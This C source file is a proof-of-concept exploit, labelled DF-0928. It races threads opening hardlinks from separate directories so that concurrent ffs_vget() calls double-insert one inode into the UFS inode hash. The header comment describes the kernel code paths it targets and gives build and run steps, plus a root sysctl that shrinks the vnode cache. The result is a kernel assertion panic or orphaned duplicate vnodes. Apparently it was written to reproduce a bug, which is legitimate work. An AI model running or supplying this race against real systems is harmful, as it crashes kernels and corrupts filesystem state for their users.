/*
 * race_ufs_ihash.c - DF-0928 PoC: race concurrent ffs_vget() for the same
 *                    inode to force a dual ufs_ihashins store, orphaning
 *                    one inode. On INVARIANTS kernels the orphan trips
 *                    KKASSERT(ip == iq) at ufs_ihash.c:184 when reclaimed.
 *
 * WHY HARDLINKS: ufs_lookup() (ufs_lookup.c:480) calls VFS_VGET while
 * holding the parent-directory vnode lock — so concurrent opens of the
 * same PATH are serialized by that lock. But two hardlinks to the same
 * inode, living in DIFFERENT directories, are resolved through different
 * parent-directory locks. Both call VFS_VGET for the same inode number
 * concurrently, with no serialization, racing into ufs_ihashins.
 *
 * Strategy:
 *   1. Create NDIRS directories + 1 target file + a hardlink into each dir.
 *   2. Run junk-file-creator threads to maintain vnode-cache pressure
 *      (forcing inode reclaim/ihashrem between rounds).
 *   3. Race NTHR threads that open() the different hardlink paths after
 *      a barrier — all VFS_VGET calls for the same inode race.
 *   4. Repeat until a panic or round-limit.
 *
 * The window between ufs_ihashget-miss and ufs_ihashins-store in ffs_vget
 * spans kmalloc(M_WAITOK) + getnewvnode() (both blocking), so it is wide.
 *
 * Build: cc -O2 -pthread -o race_ufs_ihash race_ufs_ihash.c
 * Run:   ./race_ufs_ihash /mnt/ufs_test   (must be a UFS/FFS mount)
 * Pre:   sysctl kern.maxvnodes=512  (root, to force vnode recycling)
 */
#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <errno.h>
#include <time.h>

static const char *BASE = "/mnt/ufs_test";
static int NTHR = 8;          /* racing open threads */
static int NDIRS = 8;         /* directories with hardlinks */
static int NROUNDS = 50000;   /* race rounds */
static int NJUNK = 200;       /* junk files per round for vnode pressure */

static pthread_barrier_t bar;
static char paths[64][256];

/* Junk-file creator: keeps vnode cache under pressure so target vnodes
 * get reclaimed (ufs_reclaim -> ufs_ihashrem) between rounds. */
static void *
junker(void *a)
{
    long round = (long)a;
    char p[256];
    for (int j = 0; j < NJUNK; j++) {
        snprintf(p, sizeof p, "%s/.junk_%ld_%d", BASE, round, j);
        int x = open(p, O_CREAT | O_RDWR, 0600);
        if (x >= 0) close(x);
        unlink(p);
    }
    return NULL;
}

/* Racer: open() a hardlink path to force ffs_vget for the shared inode. */
static void *
racer(void *a)
{
    int idx = (int)(long)a;
    pthread_barrier_wait(&bar);
    for (int i = 0; i < 500; i++) {
        int fd = open(paths[idx], O_RDONLY);
        if (fd >= 0) close(fd);
    }
    return NULL;
}

static void
drop_caches_hint(void)
{
    /* Open many distinct files briefly to encourage vnode recycling. */
    char p[256];
    for (int j = 0; j < NJUNK; j++) {
        snprintf(p, sizeof p, "%s/.drop_%d", BASE, j);
        int x = open(p, O_CREAT | O_RDWR, 0600);
        if (x >= 0) close(x);
        unlink(p);
    }
}

int
main(int argc, char **argv)
{
    if (argc > 1) BASE = argv[1];
    if (argc > 2) NROUNDS = atoi(argv[2]);

    struct rlimit rl;
    rl.rlim_cur = rl.rlim_max = 8192;
    setrlimit(RLIMIT_NOFILE, &rl);

    /* Verify it's a UFS mount by checking we can create hardlinks. */
    char t[512];
    snprintf(t, sizeof t, "%s/probe", BASE);
    if (creat(t, 0600) < 0) {
        perror("creat probe — is BASE a writable UFS mount?");
        return 2;
    }
    char t2[512];
    snprintf(t2, sizeof t2, "%s/probe_link", BASE);
    if (link(t, t2) != 0) {
        perror("link — hardlinks unsupported?");
        return 2;
    }
    unlink(t); unlink(t2);

    printf("DF-0928: racing %d threads x %d dirs on UFS mount %s, %d rounds\n",
           NTHR, NDIRS, BASE, NROUNDS);
    fflush(stdout);

    for (int round = 0; round < NROUNDS; round++) {
        /* Set up: create target file + hardlinks in NDIRS separate dirs. */
        snprintf(t, sizeof t, "%s/target_%d", BASE, round);
        int fd = open(t, O_CREAT | O_EXCL | O_WRONLY, 0600);
        if (fd < 0) { if (errno == EEXIST) continue; perror("creat target"); continue; }
        close(fd);

        for (int d = 0; d < NDIRS; d++) {
            char dir[256];
            snprintf(dir, sizeof dir, "%s/dir_%d", BASE, d);
            mkdir(dir, 0700);
            char hl[256];
            snprintf(hl, sizeof hl, "%s/hl_%d", dir, round);
            if (link(t, hl) != 0) { /* ignore */ }
            if (d < NTHR)
                strncpy(paths[d], hl, sizeof(paths[d])-1);
        }
        /* Make sure NTHR <= NDIRS */
        if (NTHR > NDIRS) NTHR = NDIRS;

        /* Drop target vnode from cache via pressure. */
        drop_caches_hint();

        /* Race. */
        pthread_barrier_init(&bar, NULL, NTHR);
        pthread_t th[64];
        for (int k = 0; k < NTHR; k++)
            pthread_create(&th[k], NULL, racer, (void *)(long)k);

        /* Also run a junker in parallel to force reclaim during the race. */
        pthread_t jt;
        pthread_create(&jt, NULL, junker, (void *)(long)round);

        for (int k = 0; k < NTHR; k++)
            pthread_join(th[k], NULL);
        pthread_barrier_destroy(&bar);
        pthread_join(jt, NULL);

        /* Cleanup. */
        for (int d = 0; d < NDIRS; d++) {
            char dir[256], hl[256];
            snprintf(dir, sizeof dir, "%s/dir_%d", BASE, d);
            snprintf(hl, sizeof hl, "%s/hl_%d", dir, round);
            unlink(hl);
            rmdir(dir);
        }
        unlink(t);

        if (round % 500 == 0) {
            printf("  round %d/%d\n", round, NROUNDS);
            fflush(stdout);
        }
    }

    printf("DF-0928: completed %d rounds without panic.\n", NROUNDS);
    /* Check for duplicate vnodes as a non-INVARIANTS indicator. */
    printf("If running on a non-INVARIANTS kernel, check for duplicate vnodes:\n");
    printf("  fstat | awk '{print $3}' | sort | uniq -d\n");
    return 0;
}
